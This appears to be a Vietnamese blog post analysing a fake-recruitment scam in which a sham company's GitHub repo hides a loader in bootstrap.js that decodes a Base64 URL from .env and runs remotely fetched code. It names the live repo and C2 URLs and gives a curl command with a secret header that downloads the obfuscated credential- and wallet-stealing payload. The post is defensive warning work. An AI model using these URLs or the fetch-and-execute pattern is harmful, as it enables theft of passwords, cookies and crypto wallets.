Lừa Đảo Qua Tuyển Dụng AI - Malware Ngụy Trang Trong Repo GitHub

Lừa Đảo Qua Tuyển Dụng AI - Malware Ngụy Trang Trong Repo GitHub
Photo by Catherine Costa / Unsplash

Câu Chuyện Bắt Đầu Từ Một Tin Nhắn

Trong một buổi chiều đẹp trời, tôi nhận được tin nhắn của một người anh mà tôi rất quý. Anh ấy hào hứng chia sẻ về một cơ hội "ngon" liên quan đến AI ứng dụng cho testing và muốn hỏi tôi có lời khuyên gì về cách tiếp cận không.

Mấy anh em cũng đang thân nhau, tôi vui vẻ nhận lời tư vấn ngay. Nhưng không ngờ, đây là khởi đầu cho một cuộc điều tra về một chiêu trò lừa đảo tinh vi đang nhắm vào các developer Việt Nam.

Job Description Tưởng Chừng Vô Hại

Nhìn qua JD thì mọi thứ có vẻ khá bình thường:

Job Description

Yêu cầu cơ bản: Clone source code từ repo https://github.com/Dredsoft-Saros/e-Commerce về máy, chạy thử và làm một số bài tập với AI để "test" khả năng AI của ứng viên trước khi vào vòng phỏng vấn.

Nghe thì có vẻ hợp lý, nhưng ... mùi vãi chưởng …

Bóc Tách Repo - Phát Hiện Mã Độc

Cấu Trúc Repository

Repository có 2 phần chính là frontendbackend ok dễ hiểu.

Repo Structure
Repo Details

Yêu cầu ta chạy chương trình lên để "làm bài kiểm tra"

Đoạn này thấy phi lý lắm rồi

Kiểm Tra Script Khởi Động

Khi xem xét lệnh npm start, tôi phát hiện nó chạy cả serverclient:

Start Script

Mọi thứ trông có vẻ ổn cho đến khi tôi đào sâu vào phần server…

Phát Hiện File Đáng Ngờ

Server Files

Trong đống file JavaScript, tôi phát hiện file bootstrap.js với nội dung cực kỳ đáng ngờ.

Phân Tích Chi Tiết Mã Độc

UML activity diagram illustrating a software supply chain attack. It shows a victim developer cloning a GitHub repository, running <code>npm install</code> and <code>npm start</code>, which executes <code>bootstrap.js</code>. This script reads environment variables, decodes a Base64 URL, and downloads 105KB of malware. The malware is then executed to collect sensitive data and send it to a Command and Control (C&C) server.

1. File bootstrap.js - Lỗ thỏ đây rồi

Bootstrap Code

Đoạn code từ dòng 7-12 thực hiện:

  • Giải mã chuỗi Base64 từ biến môi trường
  • Tải code từ URL bên ngoài
  • Thực thi trực tiếp code đã tải bằng Function.constructor

Đây chính là kỹ thuật Remote Code Execution (RCE) - cho phép kẻ tấn công chạy bất kỳ code nào trên máy nạn nhân! Đến đoạn này thì 95% là lừa đảo rồi. Nhưng công ty của anh V đã có vài members cài project này nên ta cùng xem nó định làm gì nào.

2. Xem file .env có gì nào

File .env chứa các biến môi trường đã được mã hóa Base64:

Environment Variables

Khi loại bỏ chuỗi chèn “sot” rồi giải mã Base64, ta thu được:

DEV_ACCESS_KEY="aHR0cHM6Ly9icy1wcm9kdWN0aWsot9uLnVwLnJhaWx3YXkuYXBwL3N2Zw==" nhìn thì tưởng đây là một đoạn key bình thường nhưng thực tế nó là một đoạn URL được mã hóa bằng Base64 chứ chẳng phải API KEY gì cả. Đây chính là URL mà sẽ được dùng để download code về trong đoạn bootstrap.js phía trên.

Sau khi loại bỏ chuỗi chèn "sot" và giải mã Base64 ta thu được:

  • URL: https://bs-production.up.railway.app/svg
  • Header: x-secret-key: _

3. Kỹ Thuật Che Giấu Tinh Vi

A sequence diagram showing a security researcher and automated scanner receiving a 404 error when requesting /svg from bs-production.up.railway.app, leading them to believe the URL is harmless. However, a victim sending the same request with an "x-secret-key" header receives 105KB of obfuscated JavaScript, which is noted as malware being downloaded and immediately executed.

Nhưng đám này còn tiếp tục che giấu thêm nữa.

Khi truy cập trực tiếp URL:

API Error
curl https://bs-production.up.railway.app/svg
// Return api error

Nhưng khi thêm header bí mật:

Curl with Header
curl -H "x-secret-key: _" https://bs-production.up.railway.app/svg

Một file JavaScript 105KB được tải về, đã bị obfuscate nặng:

Obfuscated Code

Phân Tích Malware Chi Tiết

Tôi đã viết script phân tích toàn diện cho con virus này:

Kết Quả Phân Tích

=== VIRUS.JS MALWARE ANALYSIS ===

1. OBFUSCATION TECHNIQUES:
   - Hexadecimal function/variable naming
   - Hexadecimal array indexing
   - Boolean obfuscation (!![] = true)

2. SUSPICIOUS PATTERNS:
   - networking: HTTP connections detected
   - systemInfo: hostname, platform, homedir collection
   - browserPaths: Targets Brave, Opera, Chrome, Edge
   - cryptoWallets: Searches for wallet files
   - extensions: .ldb, .log file access

3. TARGETED DATA:
   - Browser passwords and cookies
   - Cryptocurrency wallets
   - System information
   - Browser extensions data

Mục Đích Thực Sự Của Malware

Diagram illustrating the functionality of an obfuscated virus.js malware. The malware performs system profiling (collecting hostname, platform, user directory scan), browser data theft (stealing passwords, cookies, history, autofill), and crypto wallet hunting (Solana, MetaMask, browser extensions, private keys). It also includes backdoor and persistence capabilities (keylogger, remote access, command executor). Collected data is compiled into a "Stolen Data Package" and exfiltrated via HTTP POST to a Command and Control server.

1. Đánh Cắp Dữ Liệu Trình Duyệt

  • Mật khẩu đã lưu
  • Cookie và session tokens
  • Lịch sử duyệt web
  • Dữ liệu autofill

2. Nhắm Vào Ví Tiền Điện Tử

  • File ví Solana (~/.config/solana/id.json)
  • Extension wallets: MetaMask, Binance Chain, Brave Wallet
  • Private keys và seed phrases

3. Thu Thập Thông Tin Hệ Thống

  • Hostname, platform
  • Đường dẫn thư mục người dùng
  • Thông tin định danh victim

4. Cài Đặt Backdoor

  • Keylogger để ghi lại phím gõ
  • Remote access cho kẻ tấn công
  • Khả năng tải và thực thi code mới bất cứ lúc nào

Bọn nào đứng sau vụ lừa đảo này

Diagram showing a supply chain attack by a scammer organization targeting Vietnamese developers. Scammers use fake company infrastructure (website, LinkedIn, GitHub, job postings) to gain trust. Victims download and run a malicious e-commerce repository containing obfuscated malware. The malware steals credentials, crypto wallets, and personal data, which the scammers then monetize through dark web sales, direct profit, and identity theft.

Dredsoft - Một "Công Ty" Giả Mạo

Dredsoft Logo

Bọn lừa đảo đã tạo ra một hình ảnh công ty IT hoàn chỉnh:

Website Chính Thức (Giả)

Homepage

Trang web được làm vội vàng nhưng đủ để đánh lừa nạn nhân.

LinkedIn Profile

LinkedIn

Thậm chí còn có cả trang LinkedIn với vẻ ngoài chuyên nghiệp!

Hành Động Khẩn Cấp

Ngay sau khi phát hiện, tôi đã:

  1. Cảnh báo khẩn cấp cho team bị ảnh hưởng
  2. Chặn các IP mà malware đang kết nối
  3. Yêu cầu cài đặt lại toàn bộ thiết bị bị nhiễm
  4. Báo cáo GitHub để gỡ bỏ repo độc hại
  5. Chia sẻ cảnh báo trong cộng đồng developer

Bài Học Rút Ra

1. Luôn Kiểm Tra Code Trước Khi Chạy

  • Review toàn bộ source code, đặc biệt là file khởi động
  • Chú ý các đoạn code obfuscate hoặc encode
  • Kiểm tra biến môi trường và external connections

2. Sử Dụng Môi Trường Cách Ly

  • Container development environment (Docker)
  • Virtual machines
  • Sandbox environments

3. Cảnh Giác Với "Cơ Hội Tốt"

  • Verify công ty tuyển dụng
  • Kiểm tra domain age và reputation
  • Tìm kiếm reviews từ cộng đồng

4. Bảo Vệ Tài Sản Số

  • Sử dụng hardware wallet cho crypto
  • Không lưu mật khẩu trong trình duyệt
  • Bật 2FA cho mọi tài khoản quan trọng

Kết Luận

"Khi nói đến bảo mật, hoang tưởng một chút thực ra là đang chuẩn bị kỹ càng!"

Chiêu trò lừa đảo này cho thấy mức độ tinh vi ngày càng cao của tội phạm mạng. Họ không chỉ tạo malware phức tạp mà còn xây dựng cả một kịch bản hoàn chỉnh với công ty giả, JD hợp lý, và quy trình tuyển dụng "chuyên nghiệp".

Hãy luôn cảnh giác và chia sẻ bài viết này để cảnh báo đồng nghiệp. Đừng để ham "opportunity" mà quên mất security!

Chúc các bạn outsourcing an toàn và bảo mật vui vẻ!

Read more